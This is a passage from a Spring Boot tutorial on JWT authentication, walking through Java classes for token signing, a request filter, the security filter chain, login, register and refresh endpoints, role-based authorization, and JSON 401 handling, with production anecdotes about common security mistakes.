Spring Security has no knowledge of your database schema, your ORM, or your user table structure. The UserDetailsService is the single integration point — it translates your persistence model into Spring Security's UserDetails abstraction. When a user logs in, Spring Security calls loadUserByUsername(), gets back a UserDetails, extracts the password hash, and runs BCrypt.checkpw() to verify the submitted password. The UserDetails authorities (roles) are also what gets placed into the SecurityContext after a successful JWT validation.
📊 Production Insight
A team stored passwords with SHA-256 hashing at registration — the original developer thought it was secure because 'SHA is cryptographic'.
The database was breached in a third-party library vulnerability. 50,000 password hashes were exported.
Within 24 hours, 80% of the SHA-256 hashes were cracked using precomputed rainbow tables — SHA-256 is designed to be fast, which makes it catastrophically bad for password storage.
BCrypt with work factor 12 takes ~250ms per verification. Rainbow tables are useless because each hash includes a unique salt. Brute force at 4 attempts per second per machine gives attackers 345,600 guesses per machine per day against a 10-character alphanumeric password space that contains trillions of possibilities.
Rule: always use BCrypt, scrypt, or Argon2 for password storage. Fast hashing algorithms (SHA-256, MD5) are attack enablers, not security controls.
🎯 Key Takeaway
UserDetailsService is the single integration point between your database and Spring Security — loadUserByUsername() returns a UserDetails with the password hash and authorities.
Passwords must be stored as BCrypt hashes with work factor 10-12 — SHA-256 and MD5 are broken for password storage due to rainbow table attacks.
The AuthenticationProvider wires UserDetailsService + PasswordEncoder — DaoAuthenticationProvider is the standard implementation for database-backed authentication.

JwtService: Token Generation, Parsing, and Validation

The JwtService is the core class — it handles all JWT operations: generating access and refresh tokens, extracting claims, and validating tokens. This service has no state of its own — it doesn't store anything. It signs and verifies.

The design is intentionally functional: every method takes inputs and returns outputs without side effects. This makes JwtService trivially testable without mocks — you can verify token generation and validation with straightforward JUnit tests using real keys.

A note on the extractAllClaims() method: this is where signature verification happens. If the signature doesn't match the key, JJWT throws a SignatureException. If the token is expired, it throws ExpiredJwtException. If the token is malformed (not three Base64 parts), it throws MalformedJwtException. All of these are caught upstream in the filter — JwtService lets them propagate and the filter handles them cleanly.

io/thecodeforge/security/JwtService.java · JAVA
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
package io.thecodeforge.security;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.io.Decoders;
import io.jsonwebtoken.security.Keys;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.stereotype.Service;

import java.security.Key;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.function.Function;

@Service
public class JwtService {

    @Value("${application.security.jwt.secret-key}")
    private String secretKey;

    @Value("${application.security.jwt.expiration}")
    private long jwtExpiration;

    @Value("${application.security.jwt.refresh-token.expiration}")
    private long refreshExpiration;

    // Generate a standard access token with no extra claims
    public String generateToken(UserDetails userDetails) {
        return buildToken(new HashMap<>(), userDetails, jwtExpiration);
    }

    // Generate a refresh token — longer TTL, same signing key, no extra claims
    public String generateRefreshToken(UserDetails userDetails) {
        return buildToken(new HashMap<>(), userDetails, refreshExpiration);
    }

    // Generate an access token with application-specific extra claims (roles, tenant_id, etc.)
    public String generateToken(Map<String, Object> extraClaims, UserDetails userDetails) {
        return buildToken(extraClaims, userDetails, jwtExpiration);
    }

    private String buildToken(
            Map<String, Object> extraClaims,
            UserDetails userDetails,
            long expiration
    ) {
        return Jwts.builder()
                .setClaims(extraClaims)                         // custom claims first — setSubject overwrites sub if set in claims
                .setSubject(userDetails.getUsername())          // email is the subject
                .setIssuer("thecodeforge-auth")
                .setIssuedAt(new Date(System.currentTimeMillis()))
                .setExpiration(new Date(System.currentTimeMillis() + expiration))
                .signWith(getSignInKey(), SignatureAlgorithm.HS256)
                .compact();
    }

    // Called by the filter on every authenticated request
    public boolean isTokenValid(String token, UserDetails userDetails) {
        final String username = extractUsername(token);
        return username.equals(userDetails.getUsername()) && !isTokenExpired(token);
    }

    public boolean isTokenExpired(String token) {
        return extractExpiration(token).before(new Date());
    }

    public String extractUsername(String token) {
        return extractClaim(token, Claims::getSubject);
    }

    public Date extractExpiration(String token) {
        return extractClaim(token, Claims::getExpiration);
    }

    // Generic claim extractor — pass any Claims method reference
    public <T> T extractClaim(String token, Function<Claims, T> claimsResolver) {
        final Claims claims = extractAllClaims(token);
        return claimsResolver.apply(claims);
    }

    private Claims extractAllClaims(String token) {
        // This is where signature verification happens
        // Throws SignatureException, ExpiredJwtException, MalformedJwtException on failure
        return Jwts.parserBuilder()
                .setSigningKey(getSignInKey())
                .build()
                .parseClaimsJws(token)
                .getBody();
    }

    private Key getSignInKey() {
        byte[] keyBytes = Decoders.BASE64.decode(secretKey);
        // Keys.hmacShaKeyFor throws WeakKeyException if keyBytes.length < 32
        return Keys.hmacShaKeyFor(keyBytes);
    }
}
▶ Output
JwtService ready.
generate Token() -> HS256, 15-minute TTL
generateRefreshToken() -> HS256, 7-day TTL
isTokenValid() -> verifies signature + expiration on every call
💡Separate Access and Refresh Token TTLs at the Configuration Level:
Access tokens should expire in minutes (15-60) to limit the damage window if a token is stolen. Refresh tokens should expire in days (7-30) so users aren't constantly re-authenticating. The buildToken() method takes the expiration as a parameter — both token types use the same signing key and same logic, but different TTLs injected from configuration. This means you can tune TTLs per environment without code changes.
📊 Production Insight
A team cached the parsed Claims object in a HashMap — keyed by the token string — to avoid the parsing overhead on every request.
The cache had a 30-minute TTL. Tokens that expired within those 30 minutes continued to return valid claims from the cache.
Users with expired tokens were authenticated for up to 30 minutes past their actual expiration.
One user changed their password — the cache continued serving their old roles because the cache entry was still live.
The JWT parsing step, including HMAC verification, takes approximately 0.1-0.3ms on modern hardware. It does not need caching.
Rule: never cache parsed JWT claims. Parse and verify on every request. The cryptographic overhead is negligible compared to any network operation in your request path.
🎯 Key Takeaway
JwtService is stateless — it signs and verifies tokens without any database, cache, or instance state.
Separate access token TTL (15-60 min) from refresh token TTL (7-30 days) via configuration — two different expiration windows for different security and UX trade-offs.
Never cache parsed JWT claims — always validate signature and expiration on every request. JWT verification is fast enough that caching it introduces bugs without meaningful performance benefit.

JwtAuthenticationFilter: Intercepting Every Request

The JwtAuthenticationFilter extends OncePerRequestFilter — it runs exactly once per HTTP request, guaranteed, before the request reaches any controller. Its job is straightforward: extract the JWT from the Authorization header, validate it, load the user, and set the SecurityContextHolder so Spring Security knows who this request belongs to.

The 'once per request' guarantee matters because Spring's filter chain can call filters multiple times in forward or include scenarios. OncePerRequestFilter prevents duplicate authentication — without it, you'd be doing redundant database lookups and JWT validations on the same request.

The most important behavioral contract: the filter does not reject requests. It either sets the SecurityContext (for valid tokens) or it doesn't (for missing, expired, or invalid tokens). The authorization decision — whether a given endpoint requires authentication and what role it requires — is made entirely by Spring Security's authorization rules in SecurityConfig. The filter just hands Spring Security the authenticated principal when one exists.

io/thecodeforge/security/JwtAuthenticationFilter.java · JAVA
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778
package io.thecodeforge.security;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.lang.NonNull;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.web.authentication.WebAuthenticationDetailsSource;
import org.springframework.stereotype.Component;
import org.springframework.web.filter.OncePerRequestFilter;

import java.io.IOException;

@Slf4j
@Component
@RequiredArgsConstructor
public class JwtAuthenticationFilter extends OncePerRequestFilter {

    private final JwtService jwtService;
    private final UserDetailsService userDetailsService;

    @Override
    protected void doFilterInternal(
            @NonNull HttpServletRequest request,
            @NonNull HttpServletResponse response,
            @NonNull FilterChain filterChain
    ) throws ServletException, IOException {

        final String authHeader = request.getHeader("Authorization");

        // No token present — skip silently and let Spring Security handle authorization
        // This is the CORRECT behavior for public endpoints like /auth/login
        if (authHeader == null || !authHeader.startsWith("Bearer ")) {
            filterChain.doFilter(request, response);
            return;
        }

        final String jwt = authHeader.substring(7); // strip "Bearer " prefix
        final String username;

        try {
            username = jwtService.extractUsername(jwt);
        } catch (Exception e) {
            // Token is expired, malformed, or has an invalid signature
            // Log at debug level — this is normal for expired tokens, not an error
            log.debug("JWT extraction failed for request {}: {}", request.getRequestURI(), e.getMessage());
            filterChain.doFilter(request, response);
            return;
        }

        // Only authenticate if we have a username and no authentication is set yet
        // The null check prevents re-authenticating an already-authenticated request
        if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {

            UserDetails userDetails = userDetailsService.loadUserByUsername(username);

            if (jwtService.isTokenValid(jwt, userDetails)) {
                UsernamePasswordAuthenticationToken authToken = new UsernamePasswordAuthenticationToken(
                        userDetails,
                        null,                           // credentials null — we use the JWT, not a password
                        userDetails.getAuthorities()    // roles from UserDetails, loaded from database
                );
                authToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));
                SecurityContextHolder.getContext().setAuthentication(authToken);

                log.debug("Authenticated user '{}' for request {}", username, request.getRequestURI());
            }
        }

        filterChain.doFilter(request, response);
    }
}
▶ Output
Filter registered in chain before UsernamePasswordAuthenticationFilter.
Every request with 'Authorization: Bearer <token>' is authenticated.
Requests without Authorization header pass through — Spring Security handles the 401.
Mental Model
The Filter Sets Context, It Does Not Enforce Access
The filter's only job is to translate a valid JWT into a SecurityContext authentication. It never rejects requests — that's Spring Security's job based on your authorization rules.
  • Extract token from Authorization: Bearer <token> header — return early without setting context if header is absent
  • Parse the token to extract the username — catch all exceptions and return early if parsing fails (expired, malformed, bad signature)
  • Load UserDetails from database via UserDetailsService — this is the only database call per request in the JWT flow
  • Set SecurityContextHolder with the authenticated user — Spring Security uses this for every subsequent authorization decision
  • Never throw exceptions for missing or invalid tokens — not even a RuntimeException — the filter must always call filterChain.doFilter() to pass control forward
📊 Production Insight
A developer added a check in the filter: if the Authorization header was missing, throw a new JwtAuthenticationException("Token required").
This made perfect sense to them — if you hit a protected endpoint without a token, you should get an auth error.
The problem: the filter runs on ALL requests, including public endpoints. /auth/login and /auth/register had no token because you call them to GET a token.
Every public endpoint returned 500 (unhandled exception) instead of working normally.
The team spent 3 hours debugging Spring Security configuration, reading SecurityFilterChain docs, and checking permitAll() rules before one developer noticed the exception throw in the filter.
Rule: the filter must always call filterChain.doFilter(). The authorization check happens in SecurityConfig, not in the filter. The filter only sets context — it never enforces access.
🎯 Key Takeaway
JwtAuthenticationFilter runs on every request via OncePerRequestFilter — extract, validate, set SecurityContext, always call filterChain.doFilter().
The filter must silently skip requests without tokens — never throw exceptions for missing Authorization headers. This breaks public endpoints.
Spring Security's authorization rules in SecurityConfig handle rejection — the filter only provides authentication context. Separation of concerns.

SecurityConfig: The Filter Chain Configuration

SecurityConfig is the control plane for Spring Security — it defines the filter chain order, which endpoints are public, session management policy, and exception handling. In Spring Security 6, this is a SecurityFilterChain bean returned from a @Bean method. WebSecurityConfigurerAdapter is removed — do not try to extend it.

The order of configuration in the lambda matters. CSRF is disabled first because stateless APIs don't use cookies for authentication (the CSRF attack vector requires cookie-based auth). Session management is set to STATELESS so no JSESSIONID cookie is ever created. The JwtAuthenticationFilter is inserted before UsernamePasswordAuthenticationFilter — this is what makes JWT tokens take precedence over form-based login.

The @EnableMethodSecurity annotation on the class enables @PreAuthorize processing. Without it, every @PreAuthorize annotation in your controllers is silently ignored with no log output — a subtle misconfiguration that can leave admin endpoints open to any authenticated user.

io/thecodeforge/security/SecurityConfig.java · JAVA
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859
package io.thecodeforge.security;

import lombok.RequiredArgsConstructor;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.authentication.AuthenticationProvider;
import org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;

@Configuration
@EnableWebSecurity
@EnableMethodSecurity   // Required for @PreAuthorize — without this, annotations are silently ignored
@RequiredArgsConstructor
public class SecurityConfig {

    private final JwtAuthenticationFilter jwtAuthFilter;
    private final AuthenticationProvider authenticationProvider;
    private final JwtAuthenticationEntryPoint authEntryPoint;
    private final JwtAccessDeniedHandler accessDeniedHandler;

    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
                // Disable CSRF — stateless APIs use Authorization headers, not cookies
                // CSRF attacks target cookie-based auth; JWT via header is not vulnerable
                .csrf(AbstractHttpConfigurer::disable)

                // Authorization rules — order matters, more specific rules first
                .authorizeHttpRequests(auth -> auth
                        .requestMatchers("/api/v1/auth/**").permitAll()   // login, register, refresh
                        .requestMatchers("/actuator/health").permitAll()  // health check for load balancers
                        .anyRequest().authenticated()                     // everything else requires JWT
                )

                // Never create a HttpSession — JWT is the only auth mechanism
                .sessionManagement(session -> session
                        .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
                )

                // Custom exception handlers — JSON responses instead of Spring's HTML error pages
                .exceptionHandling(ex -> ex
                        .authenticationEntryPoint(authEntryPoint)      // 401 handler
                        .accessDeniedHandler(accessDeniedHandler)       // 403 handler
                )

                .authenticationProvider(authenticationProvider)

                // JwtAuthenticationFilter runs before UsernamePasswordAuthenticationFilter
                // This ensures JWT tokens are processed before any form-login logic
                .addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);

        return http.build();
    }
}
▶ Output
Security filter chain configured.
Public: /api/v1/auth/**, /actuator/health
Protected: all other endpoints require valid JWT
Sessions: STATELESS — no JSESSIONID cookie created
Method security: @PreAuthorize enabled
⚠ SessionCreationPolicy.STATELESS Is Non-Negotiable for JWT Auth:
If you omit the sessionManagement configuration, Spring Security creates a JSESSIONID cookie on the first authenticated request. This defeats the entire purpose of JWT (stateless auth where the server stores nothing per user). It also reintroduces CSRF vulnerabilities. The worst part: the session and JWT will compete — some requests will be authorized via the session, others via the JWT, leading to inconsistent authorization behavior that is genuinely difficult to debug.
📊 Production Insight
A team implemented JWT but forgot to set SessionCreationPolicy.STATELESS — it wasn't obvious because the default session behavior doesn't cause immediate failures.
After a password change, the old JSESSIONID cookie was still valid on the client. The client sent both the cookie and the new JWT. Requests used the session (which had old roles) rather than the JWT (which had the updated roles).
Users who had their roles changed saw inconsistent behavior — some requests used the new role, others the old one, depending on which auth mechanism Spring resolved first.
The team spent two weeks debugging intermittent authorization failures before discovering the session creation policy.
Rule: always set SessionCreationPolicy.STATELESS when using JWT. No cookies, no sessions, no CSRF, no competing authentication mechanisms.
🎯 Key Takeaway
SecurityConfig defines the complete filter chain: CSRF disabled, sessions STATELESS, JwtAuthenticationFilter before UsernamePasswordAuthenticationFilter, custom exception handlers.
SessionCreationPolicy.STATELESS is non-negotiable — without it, Spring creates JSESSIONID cookies that compete with JWT and reintroduce CSRF vulnerabilities.
@EnableMethodSecurity must be on the SecurityConfig class — without it, @PreAuthorize annotations compile and deploy silently but do absolutely nothing.

AuthenticationController: Register, Login, and Refresh Endpoints

The AuthenticationController exposes the three endpoints that bootstrap every JWT auth session: register (create a new user account), login (authenticate and issue tokens), and refresh (exchange a valid refresh token for a new access token). All three live under /api/v1/auth/** which is in the permitAll() list — they must work without a pre-existing JWT.

The login flow: client sends credentials → AuthenticationManager delegates to DaoAuthenticationProvider → user is loaded via UserDetailsService → BCrypt verifies the password → on success, JwtService generates access + refresh tokens → both are returned in the response.

Error handling deserves attention. On login failure, return a generic 'Invalid email or password' for both wrong email and wrong password cases. Returning 'User not found' for unknown emails and 'Wrong password' for known emails is user enumeration — attackers can use it to harvest valid email addresses at scale before launching targeted attacks.

The refresh flow intentionally issues only a new access token — not a new refresh token. Rotating the refresh token on every use (making it single-use) is more secure but adds complexity. Single-use refresh tokens require handling the race condition where a client makes two concurrent requests both triggering a refresh. If you need that security level, add it as a deliberate feature with proper distributed locking — don't half-implement it.

io/thecodeforge/security/AuthenticationController.java · JAVA
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103
package io.thecodeforge.security;

import jakarta.validation.Valid;
import lombok.RequiredArgsConstructor;
import org.springframework.http.ResponseEntity;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.BadCredentialsException;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.bind.annotation.*;

import java.util.Map;

@RestController
@RequestMapping("/api/v1/auth")
@RequiredArgsConstructor
public class AuthenticationController {

    private final AuthenticationManager authenticationManager;
    private final UserRepository userRepository;
    private final PasswordEncoder passwordEncoder;
    private final JwtService jwtService;

    @PostMapping("/register")
    public ResponseEntity<AuthenticationResponse> register(@Valid @RequestBody RegisterRequest request) {
        // Check for duplicate email before creating — return 400 with a clear message
        if (userRepository.findByEmail(request.getEmail()).isPresent()) {
            return ResponseEntity.badRequest().body(
                    AuthenticationResponse.builder().error("Email already registered").build()
            );
        }

        User user = User.builder()
                .email(request.getEmail())
                .firstname(request.getFirstname())
                .lastname(request.getLastname())
                .password(passwordEncoder.encode(request.getPassword())) // BCrypt hash
                .role(Role.USER)  // new users are USER by default — admins are promoted separately
                .build();
        userRepository.save(user);

        return ResponseEntity.ok(AuthenticationResponse.builder()
                .accessToken(jwtService.generateToken(user))
                .refreshToken(jwtService.generateRefreshToken(user))
                .build());
    }

    @PostMapping("/login")
    public ResponseEntity<AuthenticationResponse> login(@Valid @RequestBody AuthenticationRequest request) {
        try {
            // authenticate() throws BadCredentialsException if email or password is wrong
            authenticationManager.authenticate(
                    new UsernamePasswordAuthenticationToken(request.getEmail(), request.getPassword())
            );

            User user = userRepository.findByEmail(request.getEmail()).orElseThrow();

            return ResponseEntity.ok(AuthenticationResponse.builder()
                    .accessToken(jwtService.generateToken(user))
                    .refreshToken(jwtService.generateRefreshToken(user))
                    .build());

        } catch (BadCredentialsException e) {
            // Generic message — never reveal which field was wrong
            // 'User not found' vs 'Wrong password' enables email enumeration attacks
            return ResponseEntity.status(401).body(
                    AuthenticationResponse.builder().error("Invalid email or password").build()
            );
        }
    }

    @PostMapping("/refresh")
    public ResponseEntity<AuthenticationResponse> refresh(@RequestBody Map<String, String> request) {
        String refreshToken = request.get("refreshToken");

        if (refreshToken == null || refreshToken.isBlank()) {
            return ResponseEntity.badRequest().body(
                    AuthenticationResponse.builder().error("Refresh token required").build()
            );
        }

        try {
            String username = jwtService.extractUsername(refreshToken);
            User user = userRepository.findByEmail(username).orElseThrow();

            if (jwtService.isTokenValid(refreshToken, user)) {
                // Issue a new access token — refresh token is not rotated in this implementation
                return ResponseEntity.ok(AuthenticationResponse.builder()
                        .accessToken(jwtService.generateToken(user))
                        .build());
            }

            return ResponseEntity.status(401).body(
                    AuthenticationResponse.builder().error("Refresh token is invalid or expired").build()
            );

        } catch (Exception e) {
            return ResponseEntity.status(401).body(
                    AuthenticationResponse.builder().error("Refresh token is invalid or expired").build()
            );
        }
    }
}
▶ Output
POST /api/v1/auth/register -> 200 {accessToken, refreshToken} | 400 {error}
POST /api/v1/auth/login -> 200 {accessToken, refreshToken} | 401 {error}
POST /api/v1/auth/refresh -> 200 {accessToken} | 401 {error}
🔥AuthenticationManager Handles the Verification — You Just Call It:
The authenticate() call delegates entirely to DaoAuthenticationProvider. It calls loadUserByUsername(), gets the stored BCrypt hash, runs BCrypt.checkpw(submittedPassword, storedHash), and throws BadCredentialsException if anything is wrong. You don't need to write any password comparison logic. The AuthenticationManager bean comes from AuthenticationConfiguration — it's wired up automatically from the AuthenticationProvider you defined in ApplicationConfig.
📊 Production Insight
A team returned differentiated error messages: 'User not found' when the email was not in the database, and 'Incorrect password' when the email existed but the password was wrong.
Attackers used the difference to enumerate valid email addresses at a rate of 500 requests per second — no rate limiting was in place.
In 48 hours they had a list of 10,000 confirmed valid email addresses. They launched a phishing campaign targeting those addresses with realistic credential theft pages.
The fix was a one-line message change — but cleaning up the phishing campaign downstream took months.
Rule: always return the same generic error for both wrong email and wrong password. 'Invalid email or password' is correct. Never give hints about which field was wrong.
🎯 Key Takeaway
The auth controller exposes register, login, and refresh — all must be in permitAll() since they're how you get a JWT in the first place.
Return 'Invalid email or password' for all login failures — never reveal whether the email exists, which enables user enumeration at scale.
The refresh endpoint validates the refresh token and issues a new access token — refresh token rotation is a deliberate additional feature, not a default.

Role-Based Access Control: Method and URL Security

Authentication answers 'who are you?' — authorization answers 'what are you allowed to do?' JWT auth in Spring Boot supports two authorization approaches: URL-based (in SecurityConfig) and method-based (@PreAuthorize on controller methods). Both have their place and they're complementary, not competing.

URL-based authorization is coarse-grained: /admin/ requires ROLE_ADMIN, /api/ requires any authenticated user. It's the outer security boundary — easy to see, easy to audit, enforced before the request reaches any controller code.

Method-based authorization is fine-grained: this specific method requires ROLE_ADMIN, this other method requires ROLE_USER or ROLE_ADMIN, this endpoint requires that the requesting user is the owner of the resource. @PreAuthorize with SpEL (Spring Expression Language) gives you the expressiveness to enforce ownership: @PreAuthorize("hasAuthority('ROLE_ADMIN') or #userId == authentication.principal.id").

Use both together: URL-based for broad security boundaries, method-based for business logic rules. The security boundary catches misconfiguration at the infrastructure level. The method-level annotation ensures the business rule is enforced even if the URL pattern changes.

io/thecodeforge/controller/AuthorizationDemoController.java · JAVA
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960
package io.thecodeforge.controller;

import org.springframework.http.ResponseEntity;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.security.core.Authentication;
import org.springframework.web.bind.annotation.*;

import java.util.Map;

@RestController
@RequestMapping("/api/v1")
public class AuthorizationDemoController {

    // Any authenticated user — no role requirement
    @GetMapping("/profile")
    public ResponseEntity<Map<String, String>> profile(Authentication auth) {
        return ResponseEntity.ok(Map.of(
                "username", auth.getName(),
                "authorities", auth.getAuthorities().toString()
        ));
    }

    // Admin only — hasAuthority uses the exact string, no ROLE_ prefix added automatically
    @GetMapping("/admin/dashboard")
    @PreAuthorize("hasAuthority('ROLE_ADMIN')")
    public ResponseEntity<Map<String, String>> adminDashboard() {
        return ResponseEntity.ok(Map.of("message", "Admin dashboard"));
    }

    // Multiple roles accepted — either ROLE_USER or ROLE_ADMIN can access
    @GetMapping("/orders")
    @PreAuthorize("hasAnyAuthority('ROLE_USER', 'ROLE_ADMIN')")
    public ResponseEntity<Map<String, String>> orders() {
        return ResponseEntity.ok(Map.of("message", "Your orders"));
    }

    // Ownership check — user can access their own data, admin can access any
    // #userId binds the @PathVariable value into the SpEL expression
    @GetMapping("/users/{userId}/data")
    @PreAuthorize("hasAuthority('ROLE_ADMIN') or #userId == authentication.principal.id")
    public ResponseEntity<Map<String, String>> userData(
            @PathVariable Integer userId,
            Authentication auth
    ) {
        return ResponseEntity.ok(Map.of(
                "requestedUser", String.valueOf(userId),
                "requestingUser", auth.getName()
        ));
    }

    // Combining method-level and URL-level security is intentional
    // URL level: /api/v1/** -> any authenticated user
    // Method level: hasAuthority('ROLE_ADMIN') -> further restricted
    @DeleteMapping("/admin/users/{userId}")
    @PreAuthorize("hasAuthority('ROLE_ADMIN')")
    public ResponseEntity<Void> deleteUser(@PathVariable Integer userId) {
        // Admin-only destructive operation
        return ResponseEntity.noContent().build();
    }
}
▶ Output
GET /api/v1/profile -> 200 (any authenticated user)
GET /api/v1/admin/dashboard -> 200 (ROLE_ADMIN) | 403 (ROLE_USER)
GET /api/v1/orders -> 200 (ROLE_USER or ROLE_ADMIN)
GET /api/v1/users/123/data -> 200 (ROLE_ADMIN or user id=123) | 403 (other users)
DELETE /api/v1/admin/users/456 -> 204 (ROLE_ADMIN) | 403 (ROLE_USER)
⚠ @PreAuthorize Does Nothing Without @EnableMethodSecurity:
@PreAuthorize is processed by a Spring Security post-processor that only activates when @EnableMethodSecurity is present on a @Configuration class. Without it, the annotation is metadata on the method — Spring never reads it and the method executes for any authenticated user. There is no exception, no warning, no log message. The annotation is silently ignored. This is the number one reason 'my @PreAuthorize isn't working' questions appear consistently across Stack Overflow and GitHub issues.
📊 Production Insight
A team added @PreAuthorize("hasAuthority('ROLE_ADMIN')") to 15 controller methods over the course of a feature sprint — user management, audit log access, system configuration, billing operations.
They tested by hitting each endpoint as an admin. All returned 200. They marked the security feature as complete and shipped.
What they didn't test: hitting the same endpoints as a regular user. @EnableMethodSecurity was missing from SecurityConfig.
Two weeks later a QA engineer noticed they could access admin endpoints with a standard user token. All 15 annotations had been silently doing nothing since the first deployment.
Rule: test authorization with the lowest-privilege account, not the highest. Admin testing tells you the happy path works. It doesn't tell you whether the access control is actually enforced.
🎯 Key Takeaway
URL-based authorization handles broad security boundaries; method-based @PreAuthorize handles fine-grained per-operation rules — use both for defense in depth.
@EnableMethodSecurity is required on SecurityConfig for @PreAuthorize to function — without it, annotations compile and deploy but are completely ignored at runtime.
Test authorization with the lowest-privilege account, not the highest. Admin access tells you nothing about whether regular users are correctly blocked.
URL-Based vs Method-Based Authorization
IfBroad security boundary — all endpoints under /admin/** require admin role
UseUse URL-based in SecurityConfig: .requestMatchers("/admin/**").hasAuthority("ROLE_ADMIN") — visible at the infrastructure level, easy to audit
IfFine-grained per-operation rules — different roles for different HTTP methods on the same path
UseUse @PreAuthorize on individual controller methods — PUT /users/{id} might require ROLE_ADMIN while GET /users/{id} allows ROLE_USER
IfResource ownership check — users can only modify their own resources
UseUse @PreAuthorize with SpEL: @PreAuthorize("hasAuthority('ROLE_ADMIN') or #userId == authentication.principal.id")
IfDefense in depth — want both broad boundary and method-level enforcement
UseUse both. URL-based catches misconfigurations at the routing level. Method-based ensures the business rule survives URL refactoring.

Exception Handling: 401 and 403 Responses

By default, Spring Security returns HTML error pages or redirects to /login when authentication fails. For a REST API serving JSON, this is completely wrong — mobile apps, SPAs, and API clients expect JSON with a meaningful status code. Returning HTML to a client expecting JSON causes silent failures: the client tries to parse the HTML as JSON, gets a parse error, and usually displays a blank screen or a generic 'something went wrong' message.

Two Spring Security interfaces handle this cleanly: AuthenticationEntryPoint (called when authentication is required but absent — the correct response is 401 Unauthorized) and AccessDeniedHandler (called when the user is authenticated but lacks the required role — the correct response is 403 Forbidden). The distinction matters to API clients: 401 means 'send credentials', 403 means 'you are authenticated but not allowed'.

Register both handlers in SecurityConfig using http.exceptionHandling(). Without this registration, Spring Security falls back to its defaults — HTML error pages for both cases.

io/thecodeforge/security/JwtAuthenticationEntryPoint.java · JAVA
12345678910111213141516171819202122232425262728293031323334353637383940
package io.thecodeforge.security;

import com.fasterxml.jackson.databind.ObjectMapper;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.http.MediaType;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.AuthenticationEntryPoint;
import org.springframework.stereotype.Component;

import java.io.IOException;
import java.time.Instant;
import java.util.LinkedHashMap;
import java.util.Map;

@Component
public class JwtAuthenticationEntryPoint implements AuthenticationEntryPoint {

    private final ObjectMapper objectMapper = new ObjectMapper();

    @Override
    public void commence(
            HttpServletRequest request,
            HttpServletResponse response,
            AuthenticationException authException
    ) throws IOException {
        response.setContentType(MediaType.APPLICATION_JSON_VALUE);
        response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);

        // Ordered map so the JSON output has a consistent field order
        Map<String, Object> body = new LinkedHashMap<>();
        body.put("status", 401);
        body.put("error", "Unauthorized");
        body.put("message", "Authentication required. Provide a valid JWT in the Authorization header.");
        body.put("path", request.getRequestURI());
        body.put("timestamp", Instant.now().toString());

        objectMapper.writeValue(response.getOutputStream(), body);
    }
}
▶ Output
HTTP 401
Content-Type: application/json

{
"status": 401,
"error": "Unauthorized",
"message": "Authentication required. Provide a valid JWT in the Authorization header.",
"path": "/api/v1/profile",
"timestamp": "2026-04-18T14:23:00Z"
}
💡Register Both Handlers in SecurityConfig — They Don't Self-Register:
Annotating with @Component makes these beans available in the Spring context, but Spring Security doesn't auto-wire them into the filter chain. You must explicitly configure them in SecurityConfig: http.exceptionHandling(ex -> ex.authenticationEntryPoint(authEntryPoint).accessDeniedHandler(accessDeniedHandler)). Without this explicit registration, Spring Security uses its own defaults — which return HTML for 401 and redirect to /login for 403.
📊 Production Insight
A team built the AuthenticationEntryPoint but forgot to register it in SecurityConfig — they assumed @Component was enough.
Their mobile app's login flow worked, but expired token handling was broken: the app received HTML (Spring's default 401 page), tried to parse it as JSON, got a JsonParseException, and displayed a blank screen.
Users reported 'the app goes blank after a while' — which is a reasonable description of 'received unexpected HTML on token expiration'.
Support tickets accumulated for two weeks before someone reproduced it in a network inspector and saw the HTML response body.
Rule: @Component registers the bean in the context. Explicit registration in SecurityConfig puts it in the filter chain. Both steps are required.
🎯 Key Takeaway
AuthenticationEntryPoint handles 401 (authentication missing or invalid) — AccessDeniedHandler handles 403 (authenticated but lacks required role).
Both must be explicitly registered in SecurityConfig via http.exceptionHandling() — @Component alone is not enough.
API clients expect JSON responses — returning Spring's default HTML error pages causes parse failures and blank screens in mobile apps and SPAs.

Where you store the JWT on the client determines the threat surface for token theft. This isn't a performance decision or a convenience decision — it's a security architecture decision with real consequences.

